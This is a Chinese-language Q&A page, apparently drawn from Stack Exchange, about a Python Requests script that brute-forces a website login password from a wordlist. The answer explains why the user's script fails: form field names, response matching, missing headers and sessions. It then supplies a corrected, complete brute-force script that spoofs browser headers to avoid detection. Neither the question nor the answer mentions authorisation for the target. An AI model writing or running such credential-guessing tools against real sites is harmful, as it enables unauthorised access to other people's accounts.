Python Requests暴力破解脚本失效问题排查及优化咨询
Python Requests暴力破解脚本无法匹配正确密码的问题排查与解决
问题描述
我写了一段基于Python Requests库的暴力破解脚本,但它识别不出正确密码。我的passwords.txt里有三个密码:两个错误、一个正确,但脚本就是匹配不到正确的那个。想问问是不是有其他实现方式?问题会不会出在别的地方,比如没正确定位表单字段?
用户提供的脚本代码:
import requests url = "http:website.login" username = "username" error = "Password Error" try: def bruteCracking(username,url,error): for password in passwords: password = password.strip() print("Trying:" + password) data_dict = {"text": username,"password": password,"button":"btnEntrar"} response = requests.post(url, data=data_dict) if error in str(response.content): pass elif "csrf" in str(response.content): print("CSRF Token Detected!! BruteF0rce Not Working This Website.") exit() else: print("Username: ---> " + username) print("Password: ---> " + password) exit() except: print("Some Error Occurred Please Check Your Internet Connection!") with open("passwords.txt", "r") as passwords: bruteCracking(username,url,error)
注:btnEntrar是按钮名称,其对象类型为button而非submit
问题排查与解决办法
1. 表单字段名大概率错误
你当前用的"text": username基本是错的,登录表单里的用户名字段名一般是username、user或者login,很少会叫text。
解决:打开登录页按F12调出开发者工具,找到登录表单的<input>元素,查看它的name属性值(比如<input name="username" type="text">),把data_dict里的"text"改成实际的字段名。
2. 按钮参数可能多余
因为按钮是button类型而非submit,很多网站不会要求在POST请求里携带按钮参数,你可以试试删掉"button":"btnEntrar"这个键值对,或者抓包看正常登录时是否真的提交了这个参数。
3. 响应内容判断逻辑有漏洞
- 不要用
str(response.content),直接用response.text,它会自动处理页面编码,避免因编码问题导致错误提示匹配失败。 - 先手动登录一次正确密码和错误密码,对比两次的响应内容,确认错误提示文本是不是真的
"Password Error",有没有大小写、空格或者特殊字符差异。
4. 缺少必要请求头
很多网站会验证User-Agent、Referer等请求头,直接用Requests发起的请求会被识别为非浏览器请求,可能被拦截或返回异常内容。
解决:添加模拟浏览器的请求头,示例:
headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36", "Referer": url # 这里填登录页的完整URL } # 发起请求时带上headers参数 response = requests.post(url, data=data_dict, headers=headers)
5. 没有保持会话
有些网站会用Cookie维持会话状态,每次用requests.post()都是新的会话,可能导致登录请求不生效。
解决:用requests.Session()来保持会话,示例:
session = requests.Session() response = session.post(url, data=data_dict, headers=headers)
优化后的完整脚本
import requests # 补全正确的登录URL,注意加http/https url = "http://website.login" username = "your_username" error_msg = "Password Error" # 模拟浏览器请求头 headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36", "Referer": url } def brute_cracking(username, url, error_msg): # 初始化会话,保持Cookie session = requests.Session() # 读取密码文件 with open("passwords.txt", "r") as f: passwords = [p.strip() for p in f if p.strip()] for password in passwords: print(f"Trying: {password}") # 替换成实际的表单字段名 data_dict = { "username": username, "password": password # 确认需要按钮参数再解开注释:"button": "btnEntrar" } try: response = session.post(url, data=data_dict, headers=headers) # 捕获HTTP错误(比如404、500) response.raise_for_status() if error_msg in response.text: continue elif "csrf" in response.text: print("检测到CSRF Token!该网站无法直接暴力破解") return else: print("找到有效账号:") print(f"用户名: ---> {username}") print(f"密码: ---> {password}") return except requests.exceptions.RequestException as e: print(f"请求出错:{str(e)}") return if __name__ == "__main__": brute_cracking(username, url, error_msg)
内容的提问来源于stack exchange,提问作者Jake from State Farm
相关产品推荐
相关产品推荐

